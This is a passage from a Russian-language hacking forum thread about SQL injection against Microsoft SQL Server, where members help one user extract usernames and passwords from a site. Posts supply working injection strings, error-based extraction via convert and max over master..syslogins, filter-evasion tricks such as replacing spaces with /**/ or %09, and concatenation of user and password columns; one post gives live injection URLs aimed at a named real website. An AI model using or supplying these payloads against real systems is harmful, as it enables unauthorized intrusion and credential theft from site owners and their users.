Авторские статьи Провидение Иньекций в MSSQL сервер от Microsoft.

Discussion in 'Статьи' started by guest3297, 3 Jan 2007.

  1. Кельт

    Кельт Member

    Joined:
    4 Jul 2007
    Messages:
    16
    Likes Received:
    5
    Reputations:
    0
    Вот с поvощью инъекции можно узнать логин пользователя, а можно ли его пасс узнать?
    И еще как можно обойти вот такое:
    Code:
    Incorrect syntax near
    Оно не дает использовать top, from, bcp, exec =(
     
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Кельт, фразу дальше мейби продлишь?
    Неверный запрос ты составил вообще
    Пароль можно вытащить если он в бд в незашифрованном виде...
     
    1 person likes this.
  3. Кельт

    Кельт Member

    Joined:
    4 Jul 2007
    Messages:
    16
    Likes Received:
    5
    Reputations:
    0
    Фразу я не продлил потому как она на все перечисленные ниже слова ругается, к примеру, на запрос вида:
    or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
    вылетает ошибка:
    Code:
    Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'TOP'. (severity 15)
    Warning: mssql_query() [function.mssql-query]: Query failed
    Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
     
    1 person likes this.
  4. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Ну правильно....плюсы замени например на /**/
     
  5. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    >плюсы замени например на /**/
    Mssql не поддерживает, если я не ошибаюсь, такой тип комментария
     
  6. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Поддерживает, но обязательно что бы они были закрытыми, пробел так же можно заменить на /**/

    2Кельт, иногда top фильтруется попробуй замени на max(table_name)
     
    #46 Scipio, 18 Feb 2008
    Last edited: 18 Feb 2008
    1 person likes this.
  7. Кельт

    Кельт Member

    Joined:
    4 Jul 2007
    Messages:
    16
    Likes Received:
    5
    Reputations:
    0
    что-то не помогает =(
    при замене + на /**/ выдает:
    Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near '/'. (severity 15)
    Warning: mssql_query() [function.mssql-query]: Query failed
    Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

    При использовании max(table_name) начинает ругаться на from:
    Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near 'from'. (severity 15)
    Warning: mssql_query() [function.mssql-query]: Query failed
    Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource
     
  8. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Поппробуй concat(table_name, 0x3a) заместо max(table_name)
     
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Разве функция max() предназначена для строковых полей?

    ЗЫ. Сорри, ступил, для них она тоже работает)
     
    #49 krypt3r, 18 Feb 2008
    Last edited: 18 Feb 2008
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Scipio, Isis
    Нечего там не фильтруеться переведи ошибку для начала.
    max() - возвращает максимальное значение аргумента.
    concat() - не поддерживаеться в mssql нету там такой функции.
    /**/ не являються официльными коментариями в mssql при фильтрации лучше всего испоьзывать стандартные знаки типо + и табуляции в URL encode.

    Не ругаеться на from, написанно что некорректный синксасис рядом/около 'from'.

    Модераторы убидительная просьба почистите тему!!!


    Хм, а что в теме не так? Люди обсуждают тему.
    Alexsize
     
    #50 guest3297, 18 Feb 2008
    Last edited by a moderator: 18 Feb 2008
    1 person likes this.
  11. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Я про это уже сказал и поэтому предложил заменить на /**/ хоть они и неоф.комментарии, но работает
     
  12. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    [ cash ], max() возвращает всего лишь одно значение, как и top 1, для использования подзапросов это как раз и надо, чтоб подзапрос возвращал однo значение, только немного с другой стороны подход, но ты всегда можешь сам попробовать и убедиться что это то что нужно и вполне равноцено (в плане получения одного только значения) использованию top 1 при sql-inj
    /**/ обычный коммент и является заменой пробелу, покрайней мере в 2000 сервере точно работает, насчет concat согласен
     
    #52 Scipio, 18 Feb 2008
    Last edited: 18 Feb 2008
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Scipio
    Пример приведи мне с описанием.
     
  14. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Две наиболее популярные области применения функций связаны с возможнос-
    тью повторного использования кода и упрощенным представлением сложных запро-
    сов. Одно из основных преимуществ функций заключается в том, что вы можете ис-
    пользовать их взамен программного кода, который в обычных условиях пришлось
    бы писать снова и снова. Функции дают возможность компактно представить боль-
    шие фрагменты кода для повторного использования. Рассмотрим простейший вари-
    ант: вам необходимо, используя SQL Server, извлечь наибольшее значение столбца
    Amount таблицы Sales, чтобы выяснить максимальный показатель за сутки. Если бы
    не встроенные функции, нам пришлось бы прибегнуть к таким непрактичным при-
    емам, как курсоры и переменные, и написать много строк кода в случае повторно-
    го использования в проекте. К счастью, среди встроенных функций предусмотрена
    специальная функция MAX(), пригодная для решения данной задачи. Функция MAX()
    возвращает максимальное значение столбца, и ее можно использовать следующим
    образом:
    Code:
    CREATE TABLE SALES(
                        AMOUNT   NUMERIC(5,2)
                       );
    INSERT INTO SALES(AMOUNT) VALUES(100.00);
    INSERT INTO SALES(AMOUNT) VALUES(1435.50);
    INSERT INTO SALES(AMOUNT) VALUES(456.87);
    INSERT INTO SALES(AMOUNT) VALUES(4500.00);
    INSERT INTO SALES(AMOUNT) VALUES(564.55);
    INSERT INTO SALES(AMOUNT) VALUES(3456.34);
    SELECT MAX(AMOUNT) AS BIG_SALE FROM SALES;
    BIG_SALE 
    4500.00
     
  15. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    [ cash ], так правильно....выше уже сказали что max() возвращает одно значение - максимальное...

    А если AMOUNT string, что выведет max?
     
  16. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Ну что значит с описанием, (вобще ты сам дал описание), но я говорил про использование max() в контексте SQL-inj... насчет примеров мне не охото сейчас особо искать, вот первое что попалось, это не MSSQL а SYBASE ASE 12.05, но сам понимаешь разницы большой нет, уж на край ты и сам сможешь попробовать на mssql, пример:
    Code:
    http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins))--
    Code:
    http://www.radiofrance.fr/rf/documentation/dossiers/liens/?rid=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x73796273797374656D6462)))--
     
    3 people like this.
  17. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Забавно, неплохо.
    Таким образом можно применять как минимум с десяток функций... тот же min().

    Хочу заметить что когда top или select или др. фильтруеться, не будет вывода в ошибку базы данных, так как данные отфильтровываються на уровне веб сервера а не базы. Следовательно при ошибке

    TOP передаеться в базу без фильтра.
     
    #57 guest3297, 19 Feb 2008
    Last edited: 19 Feb 2008
    1 person likes this.
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    в этом я с тобой [ cash ] согласен, судя по описанию ошибок я почти уверен, что тут дело в том, что плюс в запросе Кельта интерпритируется как плюс, а не как пробел, это может быть, например, если в mssql_query() запрос передается не через _GET а через _SERVER['QUERY_STRING'], в таком случае вместо + надо использовать пробелы

    ЗЫ почему /**/ вызывает ошибку, я так и не понял, возможно из-за версии сервера
     
  19. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Вообще я уже где то писал, что + в TSQL это не пробел (+) так же используется для объеденения данных в запросе аналогично concat() в mysql, Например:

    Code:
    SELECT ALL user+char(0x3a)+pass FROM users;
    SELECT ALL cast(user as nvarchar)+':'+cast(pass as nvarchar) FROM users;
    В качестве пробела можно исползывать.

    Code:
    %09
    %0A
    %0D
    Но в большинстве случаев хватает

    Code:
    %20
    %2B
     
  20. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    способ не использовать cast или convert
    вместо
    Code:
    cast(user as nvarchar)+':'+cast(pass as nvarchar)
    можно
    Code:
    quotename(user+':'+pass)